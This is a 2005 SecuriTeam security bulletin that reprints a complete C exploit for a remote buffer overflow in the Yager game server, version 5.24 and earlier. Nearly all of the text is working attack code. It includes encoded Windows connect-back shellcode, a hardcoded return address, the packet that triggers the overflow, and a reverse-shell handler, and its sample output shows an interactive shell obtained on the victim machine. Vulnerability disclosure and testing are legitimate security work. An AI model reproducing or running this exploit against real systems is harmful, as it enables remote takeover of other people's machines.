[EXPL] Yager Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 04/26/05

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      Yager Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/windowsntfocus/5BP0J2KFGW.html> Yager Multiple
    Vulnerabilities (Multiple Buffer Overflows and DoS), a vulnerability in
    Yager allows remote attackers to cause the program to overflow an internal
    buffer and in turn cause it to execute arbitrary code. The following
    exploit can be used to test your Yager installation for the mentioned
    vulnerability.

    DETAILS

    Vulnerable Systems:
     * Yager version 5.24 and prior

    Exploit:
    /*
     *
     * Yager <= 5.24 Remote Buffer Overflow Exploit
     *
     * cybertronic[at]gmx[dot]net
     * 04/25/2005
     *
     * send all the money to Luigi Auriemma
     * __ __ _
     * _______ __/ /_ ___ _____/ /__________ ____ (_)____
     * / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
     * / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
     * \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
     * /____/
     *
     * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
     * --[ select target
     * --[ 0 [0xdeadc0de] crash server
     * --[ 1 [0x300686bd] binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro SP1
    GER]
     * >> 1
     * --[ sending handshake [UDP]...done!
     * --[ reading server response [UDP]...done!
     * --[ server port: 1089
     * --[ connecting to 192.168.2.100:1089 [TCP]...done!
     * --[ exploiting WinXP Pro SP1 GER
     * --[ ret: 0x300686bd [ jmp esp in binkw32.dll ]
     * --[ exploiting packet overflow...
     * --[ sending packet...done!
     * --[ starting reverse handler [port: 1337]...done!
     * --[ incomming connection from: 192.168.2.100
     * --[ b0x pwned - h4ve phun
     * Microsoft Windows XP [Version 5.1.2600]
     * (C) Copyright 1985-2001 Microsoft Corp.
     *
     * C:\Yager>
     *
     */

    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define PORT_UDP 34855

    #define RED "\E[31m\E[1m"
    #define GREEN "\E[32m\E[1m"
    #define YELLOW "\E[33m\E[1m"
    #define BLUE "\E[34m\E[1m"
    #define NORMAL "\E[m"

    /*
     *
     * prototypes
     *
     */

    int exploit ( int s, unsigned long xoredip, unsigned short xoredcbport,
    unsigned long ret );
    int isip ( char *ip );
    int send_handshake ( int s, struct sockaddr_in remote_addr );
    int shell ( int s, char* tip, unsigned short cbport );

    void header ();
    void start_reverse_handler ( char* argv3 );

    /*********************
     * Windows Shellcode *
     *********************/

    /*
     * Type : connect back shellcode
     * Length: 316 bytes
     * CBIP : reverseshell[111] ( ^ 0x99999999 )
     * CBPort: reverseshell[118] ( ^ 0x9999 )
     *
     */

    unsigned char reverseshell[] =
    "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
    "\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9"
    "\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3"
    "\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE"
    "\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99"
    "\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF"
    "\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6"
    "\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF"
    "\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD"
    "\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD"
    "\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD"
    "\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66"
    "\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66"
    "\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB"
    "\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
    "\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3"
    "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
    "\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17\xD7\x97\x75"
    "\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52\x74\x65\xA2"
    "\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0";

    /*
     *
     * structures
     *
     */

    struct targets {
            int num;
            unsigned long ret;
            char name[64];
    }
    target[]= {
            { 0, 0xdeadc0de, "crash server" },
            { 1, 0x300686bd, "binkw32.dll ver: 1.5.11.0 [ Working on WinXP Pro
    SP1 GER]" } //push esp in binkw32.dll
    };

    /*
     *
     * functions
     *
     */

    int
    exploit ( int s, unsigned long xoredcbip, unsigned short xoredcbport,
    unsigned long ret )
    {
            int r;
            char buffer_pack[592];
            
            printf ( "--[ exploiting WinXP Pro SP1 GER\n" );
            printf ( "--[ ret: 0x%08x [ jmp esp in binkw32.dll ]\n", ret );

            memcpy ( &reverseshell[111], &xoredcbip, 4);
            memcpy ( &reverseshell[118], &xoredcbport, 2);

            r = ~time ( NULL ) & 0xffff;
            printf ( "--[ exploiting packet overflow...\n" );
            bzero ( &buffer_pack, sizeof ( buffer_pack ) );
            memset ( buffer_pack, 0x41, 268 );
            strncat ( buffer_pack, ( unsigned char* ) &ret, 4 );
            strncat ( buffer_pack, "\x41\x41\x41\x41", 4 ); //4 bytes padding
            memcpy ( buffer_pack + 276, reverseshell, sizeof ( reverseshell )
    - 1 );
            buffer_pack[0] = 0x00;
            buffer_pack[1] = 0x00;
            buffer_pack[2] = 0x00;
            buffer_pack[3] = 0x00;
            buffer_pack[4] = 0x46; //sizeof ( buffer_pack ) - 0xa; 582d / 246h
            buffer_pack[5] = 0x02; //sizeof ( buffer_pack ) - 0xa; 582d / 246h
            buffer_pack[6] = ( r & 0x00ff );
            buffer_pack[7] = ( ( r & 0xff00 ) >> 8 );
            buffer_pack[8] = 0x00;
            buffer_pack[9] = 0x00;
            printf ( "--[ sending packet..." );
            if ( write ( s, buffer_pack, sizeof ( buffer_pack ) ) <= 0 )
            {
                    printf ( "failed!\n" );
                    return ( 1 );
            }
            printf ( "done!\n" );
            return ( 0 );
    }

    int
    isip ( char *ip )
    {
            int a, b, c, d;
            
            if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
                    return ( 0 );
            if ( a < 1 )
                    return ( 0 );
            if ( a > 255 )
                    return 0;
            if ( b < 0 )
                    return 0;
            if ( b > 255 )
                    return 0;
            if ( c < 0 )
                    return 0;
            if ( c > 255 )
                    return 0;
            if ( d < 0 )
                    return 0;
            if ( d > 255 )
                    return 0;
            return 1;
    }

    int
    send_handshake ( int s, struct sockaddr_in remote_addr )
    {
            char* p;
            char crap[23];
            char in[2048];
            unsigned short port;
            
            bzero ( &crap, sizeof ( crap ) );
            crap[0] = 0x59;
            crap[1] = 0x5f;
            crap[2] = 0x4e;
            crap[3] = 0x45;
            crap[4] = 0x54;
            crap[5] = 0x5f;
            crap[6] = 0x59;
            crap[7] = 0x41;
            crap[8] = 0x47;
            crap[9] = 0x45;
            crap[10] = 0x52;
            crap[11] = 0x5f;
            crap[12] = 0x43;
            crap[13] = 0x4c;
            crap[14] = 0x49;
            crap[15] = 0x45;
            crap[16] = 0x4e;
            crap[17] = 0x54;
            crap[18] = 0x00;
            *( u_short* ) ( crap + 19 ) = ~time ( NULL );
            crap[21] = 0x00;
            crap[22] = 0x00;
            printf ( "--[ sending handshake [UDP]..." );
            if ( sendto ( s, crap, sizeof ( crap ), 0, ( struct sockaddr* )
    &remote_addr, sizeof ( remote_addr ) ) < 0 )
            {
                    printf ( "failed!\n" );
                    return ( 1 );
            }
            printf ( "done!\n" );
            printf ( "--[ reading server response [UDP]..." );
            bzero ( &in, sizeof ( in ) );
            if ( recvfrom ( s, in, sizeof ( in ) -1, 0, NULL, NULL ) < 0 )
            {
                    printf ( "failed!\n" );
                    return ( 1 );
            }
            printf ( "done!\n" );
            p = in + 19;
            port = ntohs ( *( u_short * ) p );
            printf ( "--[ server port: %d\n", port );
            return ( port );
    }

    int
    shell ( int s, char* tip, unsigned short cbport )
    {
            int n;
            char buffer[2048];
            fd_set fd_read;

            printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p"
    YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW
    "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n"
    NORMAL "\n" );

            FD_ZERO ( &fd_read );
            FD_SET ( s, &fd_read );
            FD_SET ( 0, &fd_read );

            while ( 1 )
            {
                    FD_SET ( s, &fd_read );
                    FD_SET ( 0, &fd_read );

                    if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
                            break;
                    if ( FD_ISSET ( s, &fd_read ) )
                    {
                            if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0
    ) ) < 0 )
                            {
                                    printf ( "bye bye...\n" );
                                    return;
                            }
                            if ( write ( 1, buffer, n ) < 0 )
                            {
                                    printf ( "bye bye...\n" );
                                    return;
                            }
                    }
                    if ( FD_ISSET ( 0, &fd_read ) )
                    {
                            if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) )
    < 0 )
                            {
                                    printf ( "bye bye...\n" );
                                    return;
                            }
                            if ( send ( s, buffer, n, 0 ) < 0 )
                            {
                                    printf ( "bye bye...\n" );
                                    return;
                            }
                    }
                    usleep(10);
            }
    }

    void
    header ()
    {
            printf ( " __ __ _ \n" );
            printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n"
    );
            printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ /
    ___/ \n" );
            printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n"
    );
            printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/
    /_/_/\\___/ \n" );
            printf ( " /____/ \n\n" );
            printf ( "--[ exploit by : cybertronic -
    cybertronic[at]gmx[dot]net\n" );
    }

    void
    start_reverse_handler ( char* argv3 )
    {
            int s1, s2;
            unsigned short cbport;
            struct sockaddr_in cliaddr, servaddr;
            socklen_t clilen = sizeof ( cliaddr );

            sscanf ( argv3, "%u", &cbport );
            
            bzero ( &servaddr, sizeof ( servaddr ) );
            servaddr.sin_family = AF_INET;
            servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
            servaddr.sin_port = htons ( cbport );

            printf ( "--[ starting reverse handler [port: %u]...", cbport );
            if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
            {
                    printf ( "socket failed!\n" );
                    exit ( 1 );
            }
            bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
            if ( listen ( s1, 1 ) == -1 )
            {
                    printf ( "listen failed!\n" );
                    exit ( 1 );
            }
            printf ( "done!\n" );
            if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen )
    ) < 0 )
            {
                    printf ( "accept failed!\n" );
                    exit ( 1 );
            }
            close ( s1 );
            printf ( "--[ incomming connection from:\t%s\n", inet_ntoa (
    cliaddr.sin_addr ) );
            shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
            close ( s2 );
    }

    int
    main ( int argc, char* argv[] )
    {
            int s1, s2, targ, i;
            unsigned long xoredcbip;
            unsigned short cbport, xoredcbport, port;
            struct sockaddr_in remote_addr;
            struct hostent* host_addr;

            if ( argc != 4 )
            {
                    printf ( "Usage: %s <ip> <cbip> <cbport>\n", argv[0] );
                    exit ( 1 );
            }
            system ( "clear" );
            header ();
            if ( !isip ( argv[1] ) )
            {
                    printf ( "Invalid Target IP!\n" );
                    exit ( 1 );
            }
            if ( !isip ( argv[2] ) )
            {
                    printf ( "Invalid connect back IP!\n" );
                    exit ( 1 );
            }
            printf("--[ select target\n");
            for ( i = 0; i < 2; i++ )
                    printf ( "--[ %d [0x%08x] %s\n", target[i].num,
    target[i].ret, target[i].name );
            printf ( " >> " );
            scanf ( "%d", &targ );
            if ( targ != 0 )
                    if ( targ != 1 )
                    {
                            printf ( "--[ invalid target!\n" );
                            exit ( 1 );
                    }
            if ( ( host_addr = gethostbyname ( argv[1] ) ) == NULL )
            {
                    fprintf ( stderr, "cannot resolve \"%s\"\n", argv[1] );
                    exit ( 1 );
            }
            remote_addr.sin_family = AF_INET;
            remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr
    );
            remote_addr.sin_port = htons ( PORT_UDP );
            if ( ( s1 = socket ( AF_INET, SOCK_DGRAM, IPPROTO_UDP ) ) < 0 )
        {
                    printf ( "socket failed!\n" );
                    exit ( 1 );
            }
            if ( ( port = send_handshake ( s1, remote_addr ) ) == 1 )
            {
                    printf ( "handshake FAILED!\n" );
                    exit ( 1 );
            }
            close ( s1 );
            if ( ( s2 = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
        {
                    printf ( "socket failed!\n" );
                    exit ( 1 );
            }
            printf ( "--[ connecting to %s:%u [TCP]...", argv[1], port );
            remote_addr.sin_port = htons ( port );
            if ( connect ( s2, ( struct sockaddr * ) &remote_addr, sizeof (
    struct sockaddr ) ) == -1 )
            {
                    printf ( "failed!\n" );
                    exit ( 1 );
            }
            printf ( "done!\n" );
            
            xoredcbip = inet_addr ( argv[2] ) ^ ( unsigned long ) 0x99999999;
            xoredcbport = htons ( atoi ( argv[3] ) ) ^ ( unsigned short )
    0x9999;

            if ( exploit ( s2, xoredcbip, xoredcbport, target[targ].ret ) == 1
    )
            {
                    printf ( "exploitation FAILED!\n" );
                    exit ( 1 );
            }
            close ( s2 );
            start_reverse_handler ( argv[3] );
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:cybertronic@gmx.net>
    cybertronic.

    ========================================

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    ====================
    ====================

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    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


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